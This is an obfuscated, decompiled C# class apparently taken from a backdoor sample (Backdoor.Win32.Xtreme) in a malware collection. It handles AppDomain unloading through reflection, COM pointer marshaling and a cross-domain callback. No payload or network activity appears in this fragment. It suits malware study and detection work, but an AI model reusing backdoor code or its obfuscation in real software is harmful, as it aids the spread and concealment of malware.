// Decompiled with JetBrains decompiler
// Type: é.Þ
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Xtreme.bqj-7404c933c44a07c096dd5700e3a47bc0d9979f90e7ee59c15397a9edcc9b81a6.exe

using \u0081é;
using \u0082\u00BC;
using System;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;

namespace \u0081é
{
  [Serializable]
  internal class \u0081Þ
  {
    private IntPtr þ;
    private int \u0092;
    [NonSerialized]
    private AppDomain ú;

    public \u0081Þ(AppDomain domain, int domainId)
    {
      this.\u0092 = domainId;
      this.ú = domain;
      this.þ = IntPtr.Zero;
    }

    public void \u0081ý()
    {
      if (this.ú == null)
        return;
      try
      {
        for (int index = 0; index < 10; ++index)
        {
          try
          {
            string friendlyName = this.ú.FriendlyName;
            Thread.Sleep(50);
          }
          catch (AppDomainUnloadedException ex)
          {
            break;
          }
        }
      }
      finally
      {
        \u0082\u00BB.\u0095(this.\u0092);
      }
    }

    public static AppDomain \u0081\u008D()
    {
      MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
      return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
    }

    public void \u009C()
    {
      Marshal.GetObjectForIUnknown(this.þ);
      Marshal.Release(this.þ);
      this.þ = IntPtr.Zero;
      new Thread(new ThreadStart(this.\u0081ý)).Start();
    }

    public void \u0081\u0084(object _param1, EventArgs _param2)
    {
      AppDomain appDomain = \u0081Þ.\u0081\u008D();
      if (appDomain == null)
        return;
      CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
      this.þ = Marshal.GetIUnknownForObject((object) this.ú);
      this.ú = (AppDomain) null;
      appDomain.DoCallBack(callBackDelegate);
    }
  }
}
